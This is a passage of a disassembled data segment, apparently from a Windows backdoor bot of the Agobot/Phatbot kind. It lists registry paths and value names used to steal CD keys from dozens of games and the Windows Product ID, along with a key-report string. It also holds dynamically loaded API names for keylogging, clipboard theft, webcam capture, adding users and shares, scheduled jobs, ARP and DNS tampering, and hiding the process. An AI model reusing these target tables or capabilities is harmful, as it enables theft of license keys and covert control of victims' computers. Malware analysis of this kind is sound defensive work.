		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 8
unk_427D28	db    2			; DATA XREF: sub_407F42+17Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
		align 8
unk_427D78	db    2			; DATA XREF: sub_407F42+114o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_427DD0	db    2			; DATA XREF: sub_407F42+A8o
					; sub_40CD3A+584Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 10h
unk_427E10	db    2			; DATA XREF: sub_408146+1F9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
		align 8
unk_427E68	db    2			; DATA XREF: sub_408146+18Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_427EB8	db    2			; DATA XREF: sub_408146+F2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
		dd 80000001h
off_427F0C	dd offset aSoftwareValveC ; DATA XREF: sub_408503+Cr
					; sub_408503+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427F18	dd 2 dup(0)		; DATA XREF: sub_408503+26o
		dd 80000001h, 4290B0h, 4290A4h,	429094h, 2 dup(0)
		dd 80000001h, 429074h, 429070h,	42905Ch, 2 dup(0)
		dd 80000001h, 429038h, 429070h,	42902Ch, 2 dup(0)
		dd 80000001h, 429008h, 429000h,	428FECh, 2 dup(0)
		dd 80000001h, 428FD8h, 428FC8h,	428FACh, 2 dup(0)
		dd 80000001h, 428F68h, 4290F0h,	428F54h, 2 dup(0)
		dd 80000002h, 428F28h, 428F1Ch,	428EFCh, 2 dup(0)
		dd 80000002h, 428EC8h, 4290F0h,	428EB0h, 2 dup(0)
		dd 80000002h, 428E7Ch, 4290F0h,	428E64h, 2 dup(0)
		dd 80000002h, 428E4Ch, 4290F0h,	428E34h, 2 dup(0)
		dd 80000002h, 428DF8h, 43B188h,	428DE8h, 2 dup(0)
		dd 80000002h, 428DB0h, 43B188h,	428D9Ch, 2 dup(0)
		dd 80000002h, 428D50h, 43B188h,	428D30h, 2 dup(0)
		dd 80000002h, 428CE0h, 43B188h,	428CB0h, 2 dup(0)
		dd 80000002h, 428C74h, 43B188h,	428C60h, 2 dup(0)
		dd 80000002h, 428C28h, 43B188h,	428C18h, 2 dup(0)
		dd 80000002h, 428BC8h, 43B188h,	428B98h, 2 dup(0)
		dd 80000002h, 428B58h, 43B188h,	428B38h, 2 dup(0)
		dd 80000002h, 428B08h, 43B188h,	428AE8h, 2 dup(0)
		dd 80000002h, 428AACh, 43B188h,	428A98h, 2 dup(0)
		dd 80000002h, 428A50h, 43B188h,	428A2Ch, 2 dup(0)
		dd 80000002h, 4289D8h, 43B188h,	4289A8h, 2 dup(0)
		dd 80000002h, 428958h, 43B188h,	42892Ch, 2 dup(0)
		dd 80000002h, 4288ECh, 4288E4h,	4288C4h, 2 dup(0)
		dd 80000002h, 428880h, 43B188h,	428864h, 2 dup(0)
		dd 80000002h, 428818h, 43B188h,	4287F4h, 2 dup(0)
		dd 80000002h, 4287C0h, 43B188h,	4287B4h, 2 dup(0)
		dd 80000002h, 428780h, 43B188h,	428774h, 2 dup(0)
		dd 80000002h, 428740h, 43B188h,	428734h, 2 dup(0)
		dd 80000002h, 428700h, 43B188h,	4286F4h, 2 dup(0)
		dd 80000002h, 4286B8h, 43B188h,	4286A4h, 2 dup(0)
		dd 80000002h, 428668h, 43B188h,	428654h, 2 dup(0)
		dd 80000002h, 428624h, 4290F0h,	428608h, 2 dup(0)
		dd 80000002h, 4285E8h, 4285E0h,	4285BCh, 2 dup(0)
		dd 80000002h, 4285A0h, 4285E0h,	428580h, 2 dup(0)
		dd 80000002h, 428560h, 4285E0h,	42853Ch, 2 dup(0)
		dd 80000002h, 428524h, 4285E0h,	428520h, 2 dup(0)
		dd 80000002h, 428504h, 4284F4h,	4284ECh, 2 dup(0)
		dd 80000002h, 4284B8h, 4284B4h,	42849Ch, 2 dup(0)
		dd 80000002h, 428460h, 428454h,	42842Ch, 42841Ch, 428408h
		dd 80000002h, 4283E4h, 4283D8h,	4283C4h, 4283B4h, 4283ACh
		dd 80000002h, 4283E4h, 4283D8h,	428380h, 4283B4h, 428378h
		dd 80000002h, 4283E4h, 4283D8h,	428348h, 4283B4h, 428340h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
		db 53h
aOftwareBioware	db 'oftware\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0              ; DATA XREF: seg001:0042DF58o
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 8
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 8
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg001:00427F14o
aCdkey		db 'CDKey',0            ; DATA XREF: seg001:00427F10o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg001:off_427F0Co
		align 10h
asc_429120:				; DATA XREF: sub_408503+E7o
					; sub_408503+F2o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408503+8Fo
					; sub_40CD3A:loc_4110F8o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408503+7Eo
					; sub_4087CA+45o ...
		align 10h
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408503+2Bo
		align 4
unk_429144	db    2			; DATA XREF: sub_4086B2+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_429178	db    2			; DATA XREF: sub_4086B2+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_4087CA+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_4087CA+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40891C+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40891C+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40891C:loc_409557o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40891C+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40891C+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40891C+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40891C+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40891C+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40891C+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40891C:loc_4094B9o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40891C+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40891C+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40891C:loc_40946Fo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40891C+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40891C+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40891C+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40891C+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40891C:loc_4093FBo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40891C+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40891C+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40891C:loc_4093B1o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40891C+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40891C+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40891C:loc_409367o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40891C+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40891C+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40891C+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40891C+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40891C+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40891C+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40891C+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40891C+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40891C+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40891C+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40891C+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40891C:loc_40925Co
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40891C+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40891C+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40891C+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40891C:loc_4091FDo
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40891C+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40891C+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40891C+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40891C+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40891C+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40891C+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40891C+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40891C+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40891C+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40891C+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40891C+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40891C:loc_4090DDo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40891C+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40891C+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40891C+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40891C+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40891C+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40891C+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40891C+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40891C+62Do
					; seg001:0042C6ACo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40891C+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40891C+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40891C+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40891C+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40891C+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40891C+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40891C+5D2o
					; sub_40CD3A+2035o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40891C+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40891C+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40891C+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40891C+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40891C+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40891C+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40891C+577o
					; seg001:0042CABCo
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40891C+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40891C+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40891C+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40891C+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40891C+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40891C+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40891C+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40891C+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40891C+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40891C+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40891C+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40891C+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40891C+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40891C+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40891C+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40891C+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40891C+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40891C+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40891C+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40891C:loc_408D2Bo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40891C:loc_408D03o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40891C+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40891C+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40891C+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40891C+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40891C+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40891C+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40891C+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40891C:loc_408C55o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40891C+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40891C+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40891C:loc_408C10o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40891C+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40891C+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40891C+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40891C+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40891C+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40891C+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40891C:loc_408B7Bo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40891C+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40891C+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40891C+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40891C:loc_408B14o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40891C+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40891C+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40891C+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40891C+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40891C+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40891C+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40891C+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40891C+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40891C:loc_408A51o
					; sub_41EF8E+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40891C:loc_408A24o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40891C+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40891C+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40891C+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40891C+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40891C+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40891C+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40891C+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40891C+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40891C+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40891C+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40891C+23o
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40891C+Ao
		align 4
